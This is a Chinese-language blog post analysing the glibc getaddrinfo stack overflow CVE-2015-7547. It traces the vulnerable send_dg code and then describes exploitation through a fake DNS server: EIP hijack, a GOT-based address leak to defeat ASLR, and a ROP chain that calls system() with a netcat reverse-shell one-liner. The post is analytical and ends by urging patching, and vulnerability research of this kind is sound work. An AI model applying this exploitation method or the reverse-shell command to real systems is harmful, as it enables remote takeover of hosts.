CVE-2015-7547的漏洞分析
nanshan 2025-01-01 21:58 13 浏览 0 评论
前一阵glibc出现了一个栈溢出的漏洞,经研究发现,所有Debian、Red Hat以及更多其它Linux发行版,只要glibc版本大于2.9就会受到该溢出漏洞影响。攻击者可以通过该漏洞直接批量获取大量主机权限。本文对CVE-2015-7547漏洞做了细致的分析,供大家学习交流。
在分析之前,先了解一下glibc是什么?
glibc是GNU发布的libc库,即c运行库。
glibc是linux系统中最底层的api,几乎其它任何运行库都会依赖于glibc。glibc除了封装linux操作系统所提供的系统服务外,它本身也提供了许多其它一些必要功能服务的实现。
测试环境 Ubuntu Kylin 15.04 + glibc 2.21
1、漏洞分析
1.1 涉及的库函数
Getaddrinfo函数解析URL时,库函数调用过程如下图所示:
getaddrinfo解析URL时调用的库函数
从上图可以看出,在_nss_dns_gethostbyname4_r函数中,使用alloca函数在栈上申请了2048字节的空间,在send_dg函数中,使用recvfrom函数接收DNS服务器的的响应包,并将该数据放在*thisansp指向的空间内。*thisansp刚开始指向上述的2048栈空间。
1.2 执行过程解析
下图是根据glibc分析得到的造成栈溢出的原因。
漏洞触发流程图
Step1
执行路径:① ? ② ? ⑥ ? ⑧ ;
输入:服务器发送2048字节的响应包; ansp = stackbuffer; anssizp = 2048
影响变量:thisanssizp = 2048; thisansp = ansp = stackbuffer; thisresplenp = 2048;
结果:thisresplenp = recvfrom(thisansp, *thisanssizp) ; // recvfrom(stackbuffer, 2048);
Step2
执行路径:① ? ③ ? ④ ? ⑥ ? ⑦ ? ⑧;
输入:服务器发送10000字节的数据,ansp = stackbuffer; anssizp = 2048;
影响变量:thisanssizp = 0; *thisansp = stackbuffer; *thisresplenp = 10000
结果: heapbuffer = malloc(MAXPACKET); *anssizp = MAXPACKET; *thisansp = heapbuffer;
*thisresplenp = recvfrom(thisansp, *thisanssizp) ; // recvfrom(heapbuffer, MAXPACKET);
Step3
执行路径:① ? ② ? ⑥ ? ⑧ ;
输入:服务器发送>2048字节数据,ansp = stackbuffer, anssizp = MAXPACKET;
影响变量:thisanssizp = MAXPACKET, *thisansp = ansp = stackuffer;
结果: *thisresplenp = recvfrom(thisansp, *thisanssizp) ; // recvfrom(stackbuffer, MAXPACKET);
MAXPACKET = 65535 >2048 造成栈溢出。
1.3 源码解析
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117 | 在_nss_dns_gethostbyname4_r函数中:申请2048字节栈空间,用于存放DNS响应包。host_buffer.buf=orig_host_buffer=(querfbuf*)alloca(2048);在send_dg()函数中:[1]当条件是POLLIN时thisanssizp=2048,thisansp=stackbuffer,recvresp1=0,recvresp2=0,buf2=01224}elseif(pfd[0].revents&POLLIN){1225int*thisanssizp;1226u_char**thisansp;1227int*thisresplenp;12281229if((recvresp1|recvresp2)==0||buf2==NULL){1230thisanssizp=anssizp;/*thisanssizp = 2048*/1231thisansp=anscp?:ansp;/*thisansp = stackbuffer*/1232assert(anscp!=NULL||ansp2==NULL);1233thisresplenp=&resplen;[2]比较thisanssizp与MAXPACKETthisanssizp=2048,MAXPACKET=65535,thisresplenp=20481262if(*thisanssizp<MAXPACKET1263/* Yes, we test ANSCP here. If we have two buffers1264 both will be allocatable. */1265&&anscp1266&&(ioctl(pfd[0].fd,FIONREAD,thisresplenp)<01267||*thisanssizp<*thisresplenp)){/*条件不满足,所以不会执行malloc*/1268u_char*newp=malloc(MAXPACKET);1269if(newp!=NULL){1270*anssizp=MAXPACKET;1271*thisansp=ans=newp;1272}1273}[3]recvfrom接收第一次的数据1282*thisresplenp=recvfrom(pfd[0].fd,(char*)*thisansp,1283*thisanssizp,0,1284(structsockaddr*)&from,&fromlen);[4]将第一次响应设置为1(成功),然后继续等待1430/* Mark which reply we received. */1431if(recvresp1==0&&hp->id==anhp->id)1432recvresp1=1;1436if((recvresp1&recvresp2)==0){1437if(single_request){1438pfd[0].events=POLLOUT;1439if(single_request_reopen){1440__res_iclose(statp,false);1441retval=reopen(statp,terrno,ns);1442if(retval<=0)1443returnretval;1444pfd[0].fd=EXT(statp).nssocks[ns];1445}1446}1447gotowait;1448}[5]第二次接收接收了一次响应包之后,buf2不为空。1229if((recvresp1|recvresp2)==0||buf2==NULL){/*条件不成立*/1230thisanssizp=anssizp;/*thisanssizp = 2048*/1231thisansp=anscp?:ansp;1232assert(anscp!=NULL||ansp2==NULL);1233thisresplenp=&resplen;1234}else{1235if(*anssizp!=MAXPACKET){1236/* No buffer allocated for the first1237 reply. We can try to use the rest1238 of the user-provided buffer. */1239#ifdef _STRING_ARCH_unaligned1240*anssizp2=orig_anssizp-resplen;1241*ansp2=*ansp+resplen;上述代码并没有申请新的空间,而是试图使用剩余的栈空间来存储第二次响应的数据包。我们第一次已经使用2048字节的数据将栈空间占满了。所以*anssizp2=orig_anssizp-resplen=0;*ansp2=*ansp+0;[6]然后使用buffer的计算结果对一些变量进行赋值。1249}else{1250/* The first reply did not fit into the1251 user-provided buffer. Maybe the second1252 answer will. */1253*anssizp2=orig_anssizp;1254*ansp2=*ansp;1255}12561257thisanssizp=anssizp2;1258thisansp=ansp2;1259thisresplenp=resplen2;thisanssizp=anssizp2=0;thisansp=ansp2=ansp;thisansp仍然指向2048栈空间的起始位置,但是thisanssizp=0;[7]malloc申请堆空间,大小为655351262if(*thisanssizp<MAXPACKET1263/* Yes, we test ANSCP here. If we have two buffers1264 both will be allocatable. */1265&&anscp1266&&(ioctl(pfd[0].fd,FIONREAD,thisresplenp)<01267||*thisanssizp<*thisresplenp)){1268u_char*newp=malloc(MAXPACKET);1269if(newp!=NULL){1270*anssizp=MAXPACKET;1271*thisansp=ans=newp;1272}1273}新的响应包是10000字节;thisansp指向新申请的堆空间;*anssizp=65535;在这里没有更改thisanssizp的值,这个值仍然是0;没有更改ansp的值。[8]使用recvfrom接收新的数据包1282*thisresplenp=recvfrom(pfd[0].fd,(char*)*thisansp,1283*thisanssizp,0,1284(structsockaddr*)&from,&fromlen);thisanssizp=0;接收0个字节。[9]发生错误,退出send_dg()函数__libc_res_nsend()会多次调用send_dg(),所以,再接收的数据包会继续第一次的路径。Malloc申请空间的时候,只修改了anssizp的大小,并没有将*ansp修改为malloc的heapbuffer所以,再接收的数据包就会发生栈溢出。 |
2、调试过程
在google给出的poc(该poc只能造成溢出,并不能利用)的基础上进行调试。
Google 的POC文件包括两部分:
[1] .c文件; 主要功能是使用getaddrinfo解析“foo.bar.google.com”。
[2] py文件; 主要功能是绑定53端口,模拟DNS服务器对getaddrinfo的请求进行响应。
将本机的DNS服务器设置为127.0.0.1,执行py文件,调试c文件。
2.1 栈空间布局图
该漏洞是在_nss_dns_gethostbyname4_r函数中使用alloca函数申请了2048字节的栈空间。所以,我们需要关注_nss_dns_gethostbyname4_r函数调用之初与调用过程中的栈空间变化,了解栈空间的内容以及可劫持的EIP。
程序断在_nss_dns_gethostbyname4_r函数处的栈空间
nss_dns_gethostbyname4_r中调用alloca申请2048大小的栈空间
libc_res_nquery函数的参数
从上面几个过程截图,可以大致画出_nss_dns_gethostbyname4_r函数的栈结构图
nss_dns_gethostbyname4_r的栈结构图
2.2 free指针处理
了解了_nss_dns_gethostbyname4_r的栈结构之后,首先对其进行溢出测试。
修改py文件中TCP发送的data2的数据长度。将数据长度设置为0x800 + 0x6C = 0x86C,将发送的数据修改为0
执行结果
根据执行结果可知,在__libc_res_nquery的262行,对hp和hp2进行非零校验。并且可以知道hp或者hp2位于inner variables区域。通过对代码的跟踪与测试,确定了hp 和hp2分别位于0xBFFFE95C和0xBFFFE96C处。
hp 和hp2
libc_res_nquery的部分源码
所以,hp和hp2分别指向申请的栈空间和堆空间。
nss_dns_gethostbyname4_r的部分源码
在_nss_dns_gethostbyname4_r中会检测是否在解析的过程中申请了新的堆空间,如果申请了,则会对该空间进行free。
这两处代码带来的问题是:
[1] 如果将hp和hp2设置为0, 则在__libc_res_nquery中会异常退出;
[2] hp和hp2的值是随机的,所以不能取调试过程的数据直接覆盖;
这里使用的方法是:
.c文件并没有开启PIE保护机制,即.c文件每次执行的基址是固定的。所以,取.c文件中的一个有效地址(0x080482ec)来替换hp和hp2的值,来跳过free的限制。
文件编译后的elf文件中的部分内容
测试的结果是:
覆盖ph 和ph2
正常退出
这一步我们并没有覆盖ph和ph2后面的内容,所以从该指针到返回地址(0xBFFFE9AC)中间的数据是否可以直接覆盖并不知道。在后面的EIP劫持和内存泄露部分将验证这些数据。
2.3 EIP劫持与内存泄露
由于ASLR的存在,要构造ROP链,需要首先获取一些可用的模块基址。
这里首先使用内存泄露的方法。
Getaddrinfo函数的第一个参数是一个指针,getaddrinfo函数在执行的时候,会将该指针指向的内容的字符串发送给服务器,请求服务器进行解析。所以,可以通过劫持EIP,将EIP指向.c文件中的call getaddrinfo指令,将got表中用于存放getaddrinfo地址的数据项作为参数。这样,在服务端发起getaddrinfo的时候,会将getaddrinfo函数的内存地址发送过来。
执行流程如下:
内存泄露的交互过程
在客户端执行第二次getaddrinfo的时候,参数是got表中getaddrinfo函数地址存放的位置,这样就导致客户端将getaddrinfo函数地址发送到DNS Server端。
Getaddrinfo函数是libc.so.6库中的函数,然后减去偏移便可得到Client端libc.so.6的基址。之后就可以根据这个基址构造ROP链,也可以调用libc.so.6中的其他函数。
IDA查看.c编译后的elf文件的got表
3. 漏洞利用
拿到基址之后,便可以根据基址构造ROP链,执行不同的功能。
这里实现了调用system函数,利用nc开一个后门,达到对目标主机完全控制的功能。
执行的具体代码:
System(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f”);Exit(1);
123 | System(“rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i2>&1|nc127.0.0.11234>/tmp/f”);Exit(1); |
这里使用的是nc作为例子,也可以使用其他的shell工具。
执行的效果:
执行效果
上述实现了对该漏洞的完整利用过程。
最后的话
小编建议广大用户尽快给操作系统打补丁,并且提醒管理员在修补漏洞的同时,千万不要忘记查看服务器或网站是否已经被入侵,是否存在后门文件等,尽量将损失和风险控制在可控范围内。
如果您需要了解更多内容,可以
加入QQ群:486207500
相关推荐
- 0722-6.2.0-如何在RedHat7.2使用rpm安装CDH(无CM)
-
文档编写目的在前面的文档中,介绍了在有CM和无CM两种情况下使用rpm方式安装CDH5.10.0,本文档将介绍如何在无CM的情况下使用rpm方式安装CDH6.2.0,与之前安装C5进行对比。环境介绍:...
- ARM64 平台基于 openEuler + iSula 环境部署 Kubernetes
-
为什么要在arm64平台上部署Kubernetes,而且还是鲲鹏920的架构。说来话长。。。此处省略5000字。介绍下系统信息;o架构:鲲鹏920(Kunpeng920)oOS:ope...
- 生产环境starrocks 3.1存算一体集群部署
-
集群规划FE:节点主要负责元数据管理、客户端连接管理、查询计划和查询调度。>3节点。BE:节点负责数据存储和SQL执行。>3节点。CN:无存储功能能的BE。环境准备CPU检查JDK...
- 在CentOS上添加swap虚拟内存并设置优先级
-
现如今很多云服务器都会自己配置好虚拟内存,当然也有很多没有配置虚拟内存的,虚拟内存可以让我们的低配服务器使用更多的内存,可以减少很多硬件成本,比如我们运行很多服务的时候,内存常常会满,当配置了虚拟内存...
- 国产深度(deepin)操作系统优化指南
-
1.升级内核随着deepin版本的更新,会自动升级系统内核,但是我们依旧可以通过命令行手动升级内核,以获取更好的性能和更多的硬件支持。具体操作:-添加PPAs使用以下命令添加PPAs:```...
- postgresql-15.4 多节点主从(读写分离)
-
1、下载软件[root@TX-CN-PostgreSQL01-252software]#wgethttps://ftp.postgresql.org/pub/source/v15.4/postg...
- Docker 容器 Java 服务内存与 GC 优化实施方案
-
一、设置Docker容器内存限制(生产环境建议)1.查看宿主机可用内存bashfree-h#示例输出(假设宿主机剩余16GB可用内存)#Mem:64G...
- 虚拟内存设置、解决linux内存不够问题
-
虚拟内存设置(解决linux内存不够情况)背景介绍 Memory指机器物理内存,读写速度低于CPU一个量级,但是高于磁盘不止一个量级。所以,程序和数据如果在内存的话,会有非常快的读写速度。但是,内存...
- Elasticsearch性能调优(5):服务器配置选择
-
在选择elasticsearch服务器时,要尽可能地选择与当前业务量相匹配的服务器。如果服务器配置太低,则意味着需要更多的节点来满足需求,一个集群的节点太多时会增加集群管理的成本。如果服务器配置太高,...
- Es如何落地
-
一、配置准备节点类型CPU内存硬盘网络机器数操作系统data节点16C64G2000G本地SSD所有es同一可用区3(ecs)Centos7master节点2C8G200G云SSD所有es同一可用区...
- 针对Linux内存管理知识学习总结
-
现在的服务器大部分都是运行在Linux上面的,所以,作为一个程序员有必要简单地了解一下系统是如何运行的。对于内存部分需要知道:地址映射内存管理的方式缺页异常先来看一些基本的知识,在进程看来,内存分为内...
- MySQL进阶之性能优化
-
概述MySQL的性能优化,包括了服务器硬件优化、操作系统的优化、MySQL数据库配置优化、数据库表设计的优化、SQL语句优化等5个方面的优化。在进行优化之前,需要先掌握性能分析的思路和方法,找出问题,...
- Linux Cgroups(Control Groups)原理
-
LinuxCgroups(ControlGroups)是内核提供的资源分配、限制和监控机制,通过层级化进程分组实现资源的精细化控制。以下从核心原理、操作示例和版本演进三方面详细分析:一、核心原理与...
- linux 常用性能优化参数及理解
-
1.优化内核相关参数配置文件/etc/sysctl.conf配置方法直接将参数添加进文件每条一行.sysctl-a可以查看默认配置sysctl-p执行并检测是否有错误例如设置错了参数:[roo...
- 如何在 Linux 中使用 Sysctl 命令?
-
sysctl是一个用于配置和查询Linux内核参数的命令行工具。它通过与/proc/sys虚拟文件系统交互,允许用户在运行时动态修改内核参数。这些参数控制着系统的各种行为,包括网络设置、文件...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- linux 查询端口号 (58)
- docker映射容器目录到宿主机 (66)
- 杀端口 (60)
- yum更换阿里源 (62)
- internet explorer 增强的安全配置已启用 (65)
- linux自动挂载 (56)
- 禁用selinux (55)
- sysv-rc-conf (69)
- ubuntu防火墙状态查看 (64)
- windows server 2022激活密钥 (56)
- 无法与服务器建立安全连接是什么意思 (74)
- 443/80端口被占用怎么解决 (56)
- ping无法访问目标主机怎么解决 (58)
- fdatasync (59)
- 405 not allowed (56)
- 免备案虚拟主机zxhost (55)
- linux根据pid查看进程 (60)
- dhcp工具 (62)
- mysql 1045 (57)
- 宝塔远程工具 (56)
- ssh服务器拒绝了密码 请再试一次 (56)
- ubuntu卸载docker (56)
- linux查看nginx状态 (63)
- tomcat 乱码 (76)
- 2008r2激活序列号 (65)